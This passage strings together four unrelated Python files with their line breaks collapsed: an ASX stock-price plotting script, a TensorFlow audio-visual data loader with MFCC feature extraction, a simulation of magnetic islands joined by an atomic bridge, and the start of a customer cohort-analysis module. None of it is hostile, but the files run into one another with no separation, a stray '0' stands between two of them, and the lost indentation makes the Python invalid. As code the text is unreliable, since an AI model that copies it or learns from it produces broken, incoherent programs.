print(newticks[i]) vals, percents, vocab = dataprep.get_stock_data(ticker = newticks[i], startdate = date_range[0], enddate = date_range[1], check_data = False) if len(vals>0): vals['Date'] = vals.index.values vals = vals.reset_index(drop = True) vals = vals.rename(columns = {dailyvalue:tickers[i]}) data = pd.merge(data,vals[['Date',tickers[i]]],how='left',on='Date') return data if __name__ == "__main__": all_tickers = pd.read_csv('ASXListedCompanies.csv',skiprows=1) #randomselect nv = 10 ids = np.random.choice(np.arange(len(all_tickers)),size=(nv,),replace = False) tickervals = all_tickers.iloc[ids].values[:,1] #view some stocks with guppy moving averages #tickervals = ['WOW','RMD','JBH','^AXJO','HVN'] date_range = ['2019-01-01','2020-12-09'] data = read_multiple_tickers(tickers = tickervals, date_range = date_range, dailyvalue = 'Close') for i in range(len(tickervals)): if (tickervals[i] in list(data)): plot_tickers(data, ticker = tickervals[i], mavgs = 'both', plot_show = True) if 5000==-999: #preliminary working - superseeded #interesting stocks 'FZO.AX', 'CDA.AX', 'MP1(number 1)','SAR','A2M', 'VOR (clear)' start = '2015-09-05' end = '2020-09-05' tot_days = (pd.to_datetime(end) - pd.to_datetime(start)).days all_tickers = pd.read_csv('ASXListedCompanies.csv',skiprows=1) all_tickers['ASX code'] = all_tickers['ASX code'].apply(lambda x:x+'.AX') #all_tickers = pd.read_csv('market_beaters.csv') rand1 = int(np.random.rand()*len(all_tickers)) ticker = all_tickers.iloc[rand1]['ASX code'] company = all_tickers.iloc[rand1]['Company name'] m_avgsT = [3,5,8,10,15,20] #Traders moving average periods m_avgsI = [35,40,45,50,60] #Traders moving average periods timestep=1 #1 for daily, 5 for weekly etc #get indicies of all those stocks (yahoo finance) higher at date end compared to date start (rank in order of gain) if 1==2: inds = [] gains = [] for i in range(len(all_tickers)): try: data, percents, vocab = dataprep.get_stock_data(ticker = all_tickers.iloc[i]['ASX code'], startdate=start, enddate=end, check_data = False) tempdat = data['Low'].rolling(window = int(tot_days / 30)).mean() if len(tempdat)>int(tot_days / 30): if tempdat[-1] > tempdat[int(tot_days / 30)] * tot_days / 365 * 1.06: #filter to stocks that have gone up at least 6% each year inds.append(i) print(i) except: print('Error: Unable to load data','ticker no ',i) #get all stocks (yahoo finance) between start and end date and save to a csv file print(len(all_tickers)) if 1==2: inds = [] data, percents, vocab = dataprep.get_stock_data(ticker = 'BHP.AX', startdate=start, enddate=end, check_data = False) #get dates only alldat = pd.DataFrame(index=data.index) for i in range(len(all_tickers)): try: data, percents, vocab = dataprep.get_stock_data(ticker = all_tickers.iloc[i]['ASX code'], startdate=start, enddate=end, check_data = False) alldat[all_tickers.iloc[i]['ASX code'][0:-3]]=data['Close'] print(i) except: print('Error: Unable to load data','ticker no ',i) alldat.to_csv('all_stocks_close_1996to2020.csv') from __future__ import division from scipy import signal import tensorflow as tf import numpy as np import math flags = tf.app.flags FLAGS = flags.FLAGS _NUMBER_OF_MICS = 128 _NUMBER_OF_SAMPLES = 1024 _FRAMES_PER_SECOND = 12 '''2 objects''' class ActionsDataLoader(object): def __init__(self, txt_file, mode, batch_size, sample_rate=12288, sample_length=2, embedding=1, buffer_size=1, num_epochs=1, shuffle=False, normalize=False, correspondence=0, random_pick=False, build_spectrogram=False, modalities=None, nr_frames=1, datakind='frames'): # self.seed = tf.placeholder(tf.int64, shape=(), name='data_seed') =epoch self.nr_frames = nr_frames self.txt_file = txt_file self.embedding = embedding self.batch_size = batch_size self.sample_rate = sample_rate self.sample_length = sample_length self.num_epochs = num_epochs self.frame_length = 246 self.frame_step = 122# 220 self.fft_length = 512 self.datakind = datakind self.shuffle = shuffle self.include_audio_images = modalities is None or 0 in modalities self.include_audio_data = modalities is None or 1 in modalities self.include_video_data = modalities is None or 2 in modalities # correspondence = True set in training don't write in extract features self.correspondence = correspondence self.num_channels =12 assert txt_file is not None assert (self.include_audio_images or self.include_audio_data or self.include_video_data) is True # TODO Fix this assertion to check that there are enough samples to provide the required number of crops # assert number_of_crops <= total_length - sample_length # load statistics # if normalize and self.include_audio_images: # self.global_min, self.global_max, self.threshold = self._load_acoustic_images_stats() if normalize and self.include_audio_data: # self.global_min, self.global_max, self.global_standard_deviation,\ # self.global_mean= self._load_spectrogram_stats() self.global_standard_deviation, self.global_mean = self._load_spectrogram_stats() # retrieve the data from the text file # how many files are in file, add them to img_paths self._read_txt_file(mode) # create data set data = self.files.flat_map(lambda ds: tf.data.TFRecordDataset(ds, compression_type='GZIP')) # parse data set data = data.map(self._parse_sequence, num_parallel_calls=4) # prefetch `buffer_size` batches of elements of the dataset data = data.prefetch(buffer_size=buffer_size * batch_size * sample_length) # batch elements in groups of `sample_length` seconds # data = data.batch(self.sample_length) data = data.map(self._map_function) # build waveform for each sequence of `sample_length` if self.include_audio_data: data = data.map(self._map_func_audio_samples_build_wav, num_parallel_calls=4) # build spectrogram for each waveform and normalize it if self.include_audio_data and build_spectrogram: data = data.map(self._map_func_audio_samples_build_spectrogram, num_parallel_calls=4) if self.include_audio_data and normalize: data = data.map(self._map_func_audio_samples_mean_norm, num_parallel_calls=4) # one frames from video sequence # if random_pick: # data = data.map(self._map_func_video_images_pick_frames, num_parallel_calls=4) if self.include_video_data: data = data.map(self._map_func_video_images, num_parallel_calls=4) if self.include_audio_images: data = data.map(self._map_func_acoustic_images, num_parallel_calls=4) if self.include_audio_data: data = data.map(self._map_func_mfcc, num_parallel_calls=4) if self.embedding: data = data.apply(tf.contrib.data.unbatch()) if self.shuffle: data = data.shuffle(buffer_size=buffer_size, reshuffle_each_iteration=True) # create batched dataset data = data.batch(batch_size) if self.correspondence: data = data.map(self._map_func_correspondence, num_parallel_calls=4) if mode == 'training': data = data.apply(tf.contrib.data.unbatch()) data = data.shuffle(buffer_size=buffer_size, reshuffle_each_iteration=True) data = data.batch(batch_size) self.data = data def _load_spectrogram_stats(self): """Load spectrogram statistics.""" stats_dir = str.join('/', self.txt_file.replace('//', '/').split('/')[:-2] + ['stats2s']) # statsHearMean mean = np.load('{}/global_mean.npy'.format(stats_dir)) std = np.load('{}/global_std_dev.npy'.format(stats_dir)) global_mean = tf.tile( tf.expand_dims( input=tf.expand_dims(input=tf.convert_to_tensor(mean), axis=0), axis=0 ), [200, 1, 1] ) global_standard_deviation = tf.tile( tf.expand_dims( input=tf.expand_dims(input=tf.convert_to_tensor(std), axis=0), axis=0 ), [200, 1, 1] ) return global_standard_deviation, global_mean # ,global_min, global_max def _read_txt_file(self, mode): """Read the content of the text file and store it into a list.""" num_samples = 0 self.img_paths = [] self.files = [] with open(self.txt_file, 'r') as f: lines = f.readlines() name = '' self.counter = 0 for line in lines: img_path = line.rstrip('\n') path = img_path.split('/') n = path[-2] if n != name and self.counter > 0: self.files2 = self.img_paths if mode == 'training': self.files2 = self._map_files_training(self.files2) elif mode == 'validation' or mode == 'testing': self.files2 = self._map_files_inference(self.files2) else: raise ValueError('Unknown mode') if len(self.files) == 0: self.files = self.files2 else: self.files = np.concatenate((self.files, self.files2)) self.img_paths = [] num_samples += np.floor(self.counter * 1.0 / self.sample_length) name = n self.counter = 1 self.img_paths.append(img_path) elif n != name and self.counter == 0: name = n self.counter += 1 self.img_paths.append(img_path) else: self.counter += 1 self.img_paths.append(img_path) # last set of samples self.files2 = self.img_paths if mode == 'training': self.files2 = self._map_files_training(self.files2) elif mode == 'validation' or mode == 'testing': self.files2 = self._map_files_inference(self.files2) else: raise ValueError('Unknown mode') if len(self.files) == 0: self.files = self.files2 else: self.files = np.concatenate((self.files, self.files2)) self.img_paths = [] num_samples += np.floor(self.counter * 1.0 / self.sample_length) self.num_samples = (num_samples).astype(int) self.files = list(self.files) self.files = tf.convert_to_tensor(self.files, dtype=tf.string) self.files = tf.data.Dataset.from_tensor_slices(self.files) # shuffle `num_samples` blocks of files and repeat them `num_epochs` if self.shuffle: self._shuffle_and_repeat_lists(self.num_epochs, num_samples) def _shuffle_and_repeat_lists(self, num_epochs, num_samples): """Shuffle and repeat the list of paths.""" self.files = self.files.batch(self.sample_length) self.files = self.files.shuffle(buffer_size=num_samples, reshuffle_each_iteration=True) self.files = self.files.repeat(num_epochs) self.files = self.files.apply(tf.contrib.data.unbatch()) def _map_files_training(self, files): """Input mapper for files of the training set.""" length = self.counter # Compute indices of crops index = np.arange(length - self.sample_length + 1) # files_arr = np.asarray(files) # Crop files tensor according to the pre-computed indices cropped_files = [] for ind in index: cropped_files.append(files[ind:ind + self.sample_length]) cropped_files = np.stack(cropped_files, 0) cropped_files = np.reshape(cropped_files, (-1)) return cropped_files def _map_files_inference(self, files): """Input mapper for files of the testing set.""" length = self.counter number_of_crop = np.floor(length * 1.0 / self.sample_length).astype('int') index_offset = np.floor(self.sample_length).astype('int') # Compute indices of crops index = np.arange(number_of_crop) index = index * index_offset # files_arr = np.asarray(files) # Crop files tensor according to the pre-computed indices cropped_files = [] for ind in index: cropped_files.append(files[ind:ind + self.sample_length]) cropped_files = np.stack(cropped_files, 0) cropped_files = np.reshape(cropped_files, (-1)) return cropped_files def _parse_sequence(self, sequence_example_proto): """Input parser for samples of the training set.""" context_features = {} sequence_features = {} if self.include_audio_images: context_features.update({ 'audio_image/height': tf.FixedLenFeature([], tf.int64), 'audio_image/width': tf.FixedLenFeature([], tf.int64), 'audio_image/depth': tf.FixedLenFeature([], tf.int64), }) sequence_features.update({ 'audio/image': tf.FixedLenSequenceFeature([], dtype=tf.string) }) if self.include_audio_data: context_features.update({ 'audio_data/mics': tf.FixedLenFeature([], tf.int64), 'audio_data/samples': tf.FixedLenFeature([], tf.int64), 'classnumber': tf.FixedLenFeature([], tf.int64) }) sequence_features.update({ 'audio/data': tf.FixedLenSequenceFeature([], dtype=tf.string) }) if self.include_video_data: context_features.update({ 'video/height': tf.FixedLenFeature([], tf.int64), 'video/width': tf.FixedLenFeature([], tf.int64), 'video/depth': tf.FixedLenFeature([], tf.int64) }) sequence_features.update({ 'video/image': tf.FixedLenSequenceFeature([], dtype=tf.string) }) # Parse single example parsed_context_features, parsed_sequence_features = tf.parse_single_sequence_example(sequence_example_proto, context_features=context_features, sequence_features=sequence_features) classnumber = tf.cast(parsed_context_features['classnumber'], tf.int32) if self.include_audio_images: # Retrieve parsed context features audio_height = tf.cast(parsed_context_features['audio_image/height'], tf.int32) audio_width = tf.cast(parsed_context_features['audio_image/width'], tf.int32) audio_depth = tf.cast(parsed_context_features['audio_image/depth'], tf.int32) # Retrieve parsed audio image features audio_image_decoded = tf.decode_raw(parsed_sequence_features['audio/image'], tf.float32) # Reshape decoded audio image audio_image_shape = tf.stack([-1, audio_height, audio_width, audio_depth]) audio_images = tf.reshape(audio_image_decoded, audio_image_shape) # audio_images = tf.image.flip_left_right(audio_images) # audio_images = tf.image.flip_up_down(audio_images) else: audio_images = tf.zeros([1, 36, 48, self.num_channels], tf.int32) if self.include_audio_data: # Retrieve parsed context features num_mics = tf.cast(parsed_context_features['audio_data/mics'], tf.int32) num_samples = tf.cast(parsed_context_features['audio_data/samples'], tf.int32) # Retrieve parsed audio data features audio_sample_decoded = tf.decode_raw(parsed_sequence_features['audio/data'], tf.int32) # Reshape decoded audio data audio_sample_shape = tf.stack([-1, num_samples]) # num_mics, num_samples audio_samples = tf.reshape(audio_sample_decoded, audio_sample_shape) else: audio_samples = tf.zeros([], tf.int32) if self.include_video_data: # Retrieve parsed video image features video_image_decoded = tf.decode_raw(parsed_sequence_features['video/image'], tf.uint8) # Retrieve parsed context features video_height = tf.cast(parsed_context_features['video/height'], tf.int32) video_width = tf.cast(parsed_context_features['video/width'], tf.int32) video_depth = tf.cast(parsed_context_features['video/depth'], tf.int32) # Reshape decoded video image video_image_shape = tf.stack([-1, video_height, video_width, video_depth]) # 224, 298, 3 video_images = tf.reshape(video_image_decoded, video_image_shape) else: video_images = tf.zeros([], tf.int32) return audio_images, audio_samples, video_images, classnumber, num_samples def _map_function(self, audio_images, audio_samples, video_images, classnumber, num_samples): """Input mapping function.""" classnumber = tf.reshape(classnumber, [-1, 1]) # Reshape audio_images to be the length of a full video of `sample_length` seconds if self.include_audio_images: reshaped_audio_images = tf.reshape(audio_images, [-1, 36, 48, self.num_channels]) #reshaped_audio_images = tf.slice(reshaped_audio_images, [0, 0, 0, 0], [-1, 36, 48, 1]) else: reshaped_audio_images = tf.reshape(audio_images, [-1, 36, 48, self.num_channels]) # Reshape audio_samples to be the length of a full video of `sample_length` seconds if self.include_audio_data: # reshaped_audio_samples = tf.reshape(audio_samples, [-1, _NUMBER_OF_MICS, _NUMBER_OF_SAMPLES]) reshaped_audio_samples = tf.reshape(audio_samples, [-1, 1, num_samples]) else: reshaped_audio_samples = tf.zeros([], tf.int32) # Reshape audio_samples to be the length of a full video of `sample_length` seconds if self.include_video_data: # reshaped_video_images = tf.reshape(video_images, [-1, 480, 640, 3]) reshaped_video_images = tf.reshape(video_images, [-1, 224, 298, 3]) # 224, 298, 3 else: reshaped_video_images = tf.zeros([], tf.int32) return reshaped_audio_images, reshaped_audio_samples, reshaped_video_images, classnumber def _sample_mask(self, num_frames, sample_size): # randomly choose between uniform or random sampling end = tf.subtract(num_frames, 1) # last index indexes = tf.to_int32(tf.linspace( 0.0, tf.to_float(end), sample_size[0])) # uses linspace to draw uniformly samples between 0 and end # find indexes updates = tf.ones(sample_size, dtype=tf.int32) # ones mask = tf.scatter_nd(tf.expand_dims(indexes, 1), updates, tf.expand_dims(num_frames, 0)) # put ones in indexes positions compare = tf.ones([num_frames], dtype=tf.int32) # ones in all num_frames mask = tf.equal(mask, compare) # see where are ones return mask def _pick_mean(self, samples, audioimages): num_frames = self.sample_length*12 # how many images n_to_sample = self.nr_frames# how many to keep, 5 in temporal resnet 50, 8 in resnet18 # pick nr_frames frames, audioimages = self._sample_mean(samples, audioimages, num_frames, n_to_sample) return frames, audioimages def _sample_mean(self, samples, audioimages, num_frames, sample_size): surrounding_frames = 3 endvalue = num_frames - 1 - surrounding_frames # random center according to how many # offset = surrounding_frames offset = tf.random_uniform(shape=tf.shape(num_frames), dtype=tf.int32, minval=surrounding_frames, maxval=endvalue) end = offset + surrounding_frames start = offset - surrounding_frames number = end - start + 1 # uses linspace to draw sample from consecutive samples between offset and end indexes = tf.cast(tf.linspace( tf.to_float(start), tf.to_float(end), number), tf.int32) # find indexes updates = tf.ones(number, dtype=tf.int32) # ones mask1 = tf.scatter_nd(tf.expand_dims(indexes, 1), updates, tf.expand_dims(num_frames, 0)) # put ones in indexes positions compare = tf.ones([num_frames], dtype=tf.int32) # ones in all num_frames mask = tf.equal(mask1, compare) # see where are ones frames = tf.boolean_mask(samples, mask) # keep element in ones position frames = tf.reduce_mean(frames, 0, keep_dims=True) framesimages = tf.boolean_mask(audioimages, mask) # keep element in ones position framesimages = tf.reduce_mean(framesimages, 0, keep_dims=True) return frames, framesimages def _map_func_audio_samples_build_wav(self, audio_images, audio_samples, video_images, classnumber): """Input mapper to build waveform audio from raw audio samples.""" filtered_wav = tf.py_func(self.butter_lowpass_filter, [audio_samples], tf.float32) return audio_images, audio_samples, video_images, classnumber, filtered_wav def butter_lowpass(self, cutoff=125, order=10): nyq = 0.5 * self.sample_rate normal_cutoff = cutoff / nyq b, a = signal.butter(order, normal_cutoff, btype='low', analog=False) return b, a def butter_lowpass_filter(self, data, cutoff=125, order=10): b, a = self.butter_lowpass(cutoff, order=order) y = signal.filtfilt(b, a, data) y = np.float32(y) return y # def _map_func_audio_samples_build_wav(self, audio_images, audio_samples, video_images, action, location): # """Input mapper to build waveform audio from raw audio samples.""" # # audio_wav = tf.py_func(self._build_wav_py_function, [audio_samples], tf.float32) # # return audio_images, audio_wav, video_images, action, location # # def _build_wav_py_function(self, audio_data): # """Python function to build a waveform audio from audio samples.""" # audio_data = audio_data.astype(np.float32) # # concatenate 1/12 # audio_data = audio_data.flatten('C') # # # audio_data = audio_data / abs( # # max(audio_data.min(), audio_data.max(), key=abs)) # # size is correct because we take at least one second of data # # Re-sample audio to 22 kHz # # audio_wav = librosa.core.resample(audio_data, audio_data.shape[0] / self.sample_length, # # self.sample_rate) # audio_wav = audio_data # # range between -1 and 1 # audio_wav = audio_wav / abs(max(audio_wav.min(), audio_wav.max(), key=abs)) # # Make range [-256, 256] # #audio_wav *= 256.0 # # return audio_wav def _map_func_audio_images_piece_wise(self, audio_images, audio_samples, video_images, action, location): """Input mapper to apply piece-wise normalization to the audio images.""" audio_images_norm = tf.where(tf.greater(audio_images, self.threshold), self.threshold, audio_images) return audio_images_norm, audio_samples, video_images, action, location def _map_func_audio_images_min_max_norm(self, audio_images, audio_samples, video_images, action, location): """Input mapper to apply min-max normalization to the audio images.""" audio_images_norm = tf.divide(tf.subtract(audio_images, self.global_min), tf.subtract(self.global_max, self.global_min)) return audio_images_norm, audio_samples, video_images, action, location def _map_func_audio_samples_min_max_norm(self, audio_images, audio_samples, video_images, action, location): """Input mapper to apply min-max normalization to the audio samples.""" audio_samples_norm = tf.divide(tf.subtract(audio_samples, self.global_min), tf.subtract(self.global_max, self.global_min)) return audio_images, audio_samples_norm, video_images, action, location def _map_func_audio_samples_mean_norm(self, audio_images, audio_samples, video_images, action, location): """Input mapper to apply min-max normalization to the audio samples.""" audio_samples_norm = tf.divide(tf.subtract(audio_samples, self.global_mean), self.global_standard_deviation) return audio_images, audio_samples_norm, video_images, action, location def _map_func_video_images(self, audio_images, audio_samples, video_images, classnumber, filtered_audio_samples): """Input mapper to pre-processes the given image for training.""" # function to rescale image, normalizing subtracting the mean and takes random crops in different positions # and to flip right left images for is_training=True for augmenting data # so we leave is_training=false only to take central crop def prepare_image(image): # return vgg_preprocessing.preprocess_image(image, _IMAGE_SIZE, _IMAGE_SIZE, is_training=False) # return self._aspect_preserving_resize(image, _IMAGE_SIZE) return self._normalize_images_rescaled(image) processed_images = tf.map_fn(prepare_image, video_images, dtype=tf.float32, back_prop=False) return audio_images, audio_samples, processed_images, classnumber, filtered_audio_samples def _normalize_images_rescaled(self, image): image.set_shape([224, 298, 3]) image = tf.to_float(image) #image = self._mean_image_subtraction(image, [_R_MEAN, _G_MEAN, _B_MEAN]) image = image[..., ::-1] image = image * (1. / 255.) return image def _map_func_acoustic_images(self, audio_images, audio_samples, video_images, classnumber, filtered_audio_samples): """Input mapper to pre-processes the given image for training.""" # function to rescale image, normalizing subtracting the mean and takes random crops in different positions # and to flip right left images for is_training=True for augmenting data # so we leave is_training=false only to take central crop def prepare_image(image): # return vgg_preprocessing.preprocess_image(image, _IMAGE_SIZE, _IMAGE_SIZE, is_training=False) # return self._aspect_preserving_resize(image, _IMAGE_SIZE) return self._normalize_acoustic_images_rescaled(image) processed_images = tf.map_fn(prepare_image, audio_images, dtype=tf.float32, back_prop=False) return processed_images, audio_samples, video_images, classnumber, filtered_audio_samples def _normalize_acoustic_images_rescaled(self, image): image.set_shape([36, 48, 12]) image = tf.to_float(image) imagemin = tf.reduce_min(image, axis=[0, 1, 2], keep_dims=True) image = image - imagemin imagemax = tf.reduce_max(image, axis=[0, 1, 2], keep_dims=True) image = image/imagemax return image def _map_func_mfcc(self, audio_images, audio_samples, video_images, classnumber, filtered_audio_samples): """Input mapper to pre-processes the given image for training.""" # function to rescale image, normalizing subtracting the mean and takes random crops in different positions # and to flip right left images for is_training=True for augmenting data # so we leave is_training=false only to take central crop def prepare_audio(audio): # return vgg_preprocessing.preprocess_image(image, _IMAGE_SIZE, _IMAGE_SIZE, is_training=False) # return self._aspect_preserving_resize(image, _IMAGE_SIZE) return self._normalize_mfcc(audio) audio_samples = tf.map_fn(prepare_audio, audio_samples, dtype=tf.float32, back_prop=False) filtered_audio_samples = tf.map_fn(prepare_audio, filtered_audio_samples, dtype=tf.float32, back_prop=False) return audio_images, audio_samples, video_images, classnumber, filtered_audio_samples def _normalize_mfcc(self, mfcc): mfcc.set_shape([12]) image = tf.to_float(mfcc) imagemin = tf.reduce_min(image, axis=[0], keep_dims=True) image = image - imagemin imagemax = tf.reduce_max(image, axis=[0], keep_dims=True) image = image/imagemax return image def _aspect_preserving_resize(self, image, smallest_side): """Resize images preserving the original aspect ratio. Args: image: A 3-D image `Tensor`. smallest_side: A python integer or scalar `Tensor` indicating the size of the smallest side after resize. Returns: resized_image: A 3-D tensor containing the resized image. """ smallest_side = tf.convert_to_tensor(smallest_side, dtype=tf.int32) shape = tf.shape(image) height = shape[0] width = shape[1] new_height, new_width = self._smallest_size_at_least(height, width, smallest_side) image = tf.expand_dims(image, 0) resized_image = tf.image.resize_bilinear(image, [new_height, new_width], align_corners=False) resized_image = tf.squeeze(resized_image) resized_image.set_shape([None, None, 3]) return resized_image def _smallest_size_at_least(self, height, width, smallest_side): """Computes new shape with the smallest side equal to `smallest_side`. Computes new shape with the smallest side equal to `smallest_side` while preserving the original aspect ratio. Args: height: an int32 scalar tensor indicating the current height. width: an int32 scalar tensor indicating the current width. smallest_side: A python integer or scalar `Tensor` indicating the size of the smallest side after resize. Returns: new_height: an int32 scalar tensor indicating the new height. new_width: and int32 scalar tensor indicating the new width. """ smallest_side = tf.convert_to_tensor(smallest_side, dtype=tf.int32) height = tf.to_float(height) width = tf.to_float(width) smallest_side = tf.to_float(smallest_side) scale = tf.cond(tf.greater(height, width), lambda: smallest_side / height, lambda: smallest_side / width ) new_height = tf.to_int32(height * scale) new_width = tf.to_int32(width * scale) return new_height, new_width def _mean_image_subtraction(self, image, means): """Subtracts the given means from each image channel. For example: means = [123.68, 116.779, 103.939] image = _mean_image_subtraction(image, means) Note that the rank of `image` must be known. Args: image: a tensor of size [height, width, C]. means: a C-vector of values to subtract from each channel. Returns: the centered image. Raises: ValueError: If the rank of `image` is unknown, if `image` has a rank other than three or if the number of channels in `image` doesn't match the number of values in `means`. """ if image.get_shape().ndims != 3: raise ValueError('Input must be of size [height, width, C>0]') num_channels = image.get_shape().as_list()[-1] if len(means) != num_channels: raise ValueError('len(means) must match the number of channels') channels = tf.split(image, num_channels, axis=2) for i in range(num_channels): channels[i] -= means[i] return tf.concat(channels, axis=2) def _map_func_audio_samples_build_spectrogram(self, audio_images, audio_wav, processed_images, classnumber, filtered_audio_wav): """Input mapper to build waveform audio from raw audio samples.""" magnitude_spectrograms = tf.py_func(self._build_spectrograms_function, [audio_wav], tf.float32) magnitude_spectrograms = tf.reshape(magnitude_spectrograms, (self.sample_length, self.num_channels)) filtered_magnitude_spectrograms = tf.py_func(self._build_spectrograms_function, [filtered_audio_wav], tf.float32) filtered_magnitude_spectrograms = tf.reshape(filtered_magnitude_spectrograms, (self.sample_length, self.num_channels)) return audio_images, magnitude_spectrograms, processed_images, classnumber, filtered_magnitude_spectrograms def _build_spectrograms_function(self, audio_data): # n = np.shape(audio_data)[0] length = np.shape(audio_data)[1] # window = signal.tukey(length, alpha=0.75) # window = np.tile(window, (n, 1)) # window = np.reshape(window, (n, _NUMBER_OF_SAMPLES)) # raw_audio = audio_data * window fftdata = np.abs(np.fft.rfft(audio_data, length, axis=1))[:, :-1] fftdata = fftdata ** 2 # energy = np.sum(fftdata, axis=-1) lifter_num = 22 lo_freq = 0 hi_freq = 6400 filter_num = 24 mfcc_num = 12 fft_len = length//2 dct_base = np.zeros((filter_num, mfcc_num)) for m in range(mfcc_num): dct_base[:, m] = np.cos((m + 1) * np.pi / filter_num * (np.arange(filter_num) + 0.5)) lifter = 1 + (lifter_num / 2) * np.sin(np.pi * (1 + np.arange(mfcc_num)) / lifter_num) mfnorm = np.sqrt(2.0 / filter_num) filter_mat = self.createfilters(fft_len, filter_num, lo_freq, hi_freq, 2*hi_freq) coefficients = self.get_feats(fft_len, fftdata, mfcc_num, dct_base, mfnorm, lifter, filter_mat) # coefficients[:, 0] = energy coefficients = np.float32(coefficients) return coefficients def createfilters(self, fft_len, filter_num, lo_freq, hi_freq, samp_freq): filter_mat = np.zeros((fft_len, filter_num)) mel2freq = lambda mel: 700.0 * (np.exp(mel / 1127.0) - 1) freq2mel = lambda freq: 1127 * (np.log(1 + (freq / 700.0))) lo_mel = freq2mel(lo_freq) hi_mel = freq2mel(hi_freq) mel_c = np.linspace(lo_mel, hi_mel, filter_num + 2) freq_c = mel2freq(mel_c) # freq_c = np.linspace(lo_freq, hi_freq, filter_num + 2) point_c = (freq_c / float(samp_freq) * (fft_len - 1) * 2) point_c = np.floor(point_c).astype('int') for f in range(filter_num): d1 = point_c[f + 1] - point_c[f] d2 = point_c[f + 2] - point_c[f + 1] filter_mat[point_c[f]:point_c[f + 1] + 1, f] = np.linspace(0, 1, d1 + 1) filter_mat[point_c[f + 1]:point_c[f + 2] + 1, f] = np.linspace(1, 0, d2 + 1) return filter_mat def get_feats(self, fft_len, beam, mfcc_num, dct_base, mfnorm, lifter, filter_mat): n = beam.shape[0] beam = np.reshape(beam, [n, fft_len]) # filters melspec = np.dot(beam, filter_mat) # floor (before log) melspec[melspec < 0.001] = 0.001 # log melspec = np.log(melspec) # dct mfcc_coefficients = np.dot(melspec, dct_base) mfcc_coefficients *= mfnorm # lifter mfcc_coefficients *= lifter # sane fixes mfcc_coefficients[np.isnan(mfcc_coefficients)] = 0 mfcc_coefficients[np.isinf(mfcc_coefficients)] = 0 coefficients = np.reshape(mfcc_coefficients, [n, mfcc_num]) return coefficients def _map_func_audio_samples_build_spectrogram2(self, audio_images, audio_wav, processed_images, classnumber): """Input mapper to build spectrogram from waveform audio.""" audio_stfts = tf.contrib.signal.stft(audio_wav, frame_length=self.frame_length, frame_step=self.frame_step, fft_length=self.fft_length) magnitude_spectrograms = tf.abs(audio_stfts)#tf.expand_dims(tf.abs(audio_stfts), 1) return audio_images, magnitude_spectrograms, processed_images, classnumber def _map_func_correspondence(self, audio_images, magnitude_spectrograms, processed_images, classnumber, filtered_magnitude_spectrograms): #for each data we have copied silence mfcc, we tile to obtain corresponding acoustic images and double data mfcc = filtered_magnitude_spectrograms - tf.reduce_min(filtered_magnitude_spectrograms, axis=[1], keep_dims=True) mfcc = mfcc / tf.reduce_max(mfcc, axis=[1], keep_dims=True) mfccmap = tf.reshape(mfcc, (-1, 1, 12)) mfccmap = tf.tile(mfccmap, (1, 36 * 48, 1)) mfccmap = tf.reshape(mfccmap, (-1, 36, 48, 12)) audio_images2 = mfccmap # concatenate two times reshaped_video_images = tf.concat((processed_images, processed_images), 0) # videoaction = tf.concat((action, action), 0) # videolocation = tf.concat((location, location), 0) audio_images = tf.concat((audio_images, audio_images2), 0) reshaped_audio_samples = tf.concat((magnitude_spectrograms, filtered_magnitude_spectrograms), 0) # correspondence labels # first part ones second zero labels = tf.concat((tf.ones((tf.shape(processed_images)[0]), dtype=tf.int32), tf.zeros((tf.shape(processed_images)[0]), dtype=tf.int32)), 0) return audio_images, reshaped_audio_samples, reshaped_video_images, classnumber @property def total_batches(self): total_batches = int(math.ceil(self.num_samples / self.batch_size)) return total_batches # vim: set et sw=4 ts=4 nu fdm=indent: # coding: utf8 import sys sys.path.insert(1, "../src") from system import System from island import Island from atom import Atom # we create the system system = System("3D") aIsland = 4 aFe = 0.14 N = 10 # we create an atomic bridge with three Fe atoms between two islands system.add_object(Island([0, 0, 0], [0, 1, 0], a=4.0, b=4.0, h=2.0, angle=0)) for i in range(N): pos = aFe*(i+1) x = pos y = 0 atom = Atom([x+2, y, 0], [1, 0, 0], r=aFe/2.0, M=2.2) atom.randomize_magnetization() system.add_object(atom) system.add_object(Island([(N+1)*aFe + aIsland, 0, 0], [0, -1, 0], a=4.0, b=4.0, h=2.0, angle=0)) # setting the magnetoctistalline anisotropy to 0 system.K1 = 0 # we do not take into account the dipolar interaction system.dipolar = False # creating some exchange coupling J = 0.01 for i in range(N+1): system.couple(i, i+1, J) # we freeze the nano-islands magnetization system.objects[0].frozen = True system.objects[N+1].frozen = True x = ((N+1)*aFe + aIsland)/2.0 # we plot our initialized system with couples and annotations system.draw(name="atomic_init", size=x, center=[x, 0], couples=False, annoted=True) # relaxing it system.relax(gtol=1e-10) # we plot the relaxed system system.draw(name="atomic_relaxed", size=x, center=[x, 0], couples=False) # atom caracteristics print(system.objects[1].caracteristics) #system energies print(system.energies) #system caracteristics print(system.caracteristics) 0 """ Organizes the customer hashtable into a printable format, and prints to csv """ from typing import Callable, List, Set, Tuple import csv import datetime as dt from customer import Customer, CUSTOMERS CSVARRAY = List[Tuple[dt.date, int, List[int]]] def generate_cohort_analysis(customers: CUSTOMERS, offset: str) -> CSVARRAY: """ Returns a list of (datetime, number of customers, [distinct purchases]) datetime represents end time of a cohort number of customers represent customers in that cohort [distinct purchases] is a list where index n is equal to the number of distinct customers that made a purchase within the nth week of their signup """ tzone: dt.timezone = dt.timezone(dt.timedelta(hours=float(offset))) cohorts: CSVARRAY = generate_cohorts(customers, tzone) for customer in customers.values(): add_to_cohorts(customer, cohorts, tzone) return cohorts def generate_cohorts(customers: CUSTOMERS, tzone: dt.timezone) -> CSVARRAY: """ Initializes the cohorts array based on the creation dates of customers """ cohorts: CSVARRAY = [] if customers: #Find cohort bounds - defined based on earliest and latest dates in the correct timezone get_created: Callable[[int], dt.datetime] = lambda x: customers[x].created earliest_date: dt.date = get_created_date(customers[min(customers, key=get_created)], tzone) latest_date: dt.date = get_created_date(customers[max(customers, key=get_created)], tzone) #Initialize output array cohort: dt.date = latest_date while earliest_date <= cohort: cohorts.append((cohort, 0, [])) cohort = cohort - dt.timedelta(7) return cohorts def get_created_date(customer: Customer, tzone: dt.timezone) -> dt.date: """ Given a customer, returns their created date, localized to timezone """ created_time: dt.datetime = customer.created return created_time.astimezone(tzone).date() def add_to_cohorts(customer: Customer, cohorts: CSVARRAY, tzone: dt.timezone) -> None: """ Given a customer, adds them to the cohorts array based on their created time and purchases """ cohort_index: int = (cohorts[0][0] - get_created_date(customer, tzone)) // dt.timedelta(7) date: dt.date num_customers: int distinct_purchases: List[int] date, num_customers, distinct_purchases = cohorts[cohort_index] num_customers += 1 distinct_purchase_weeks: 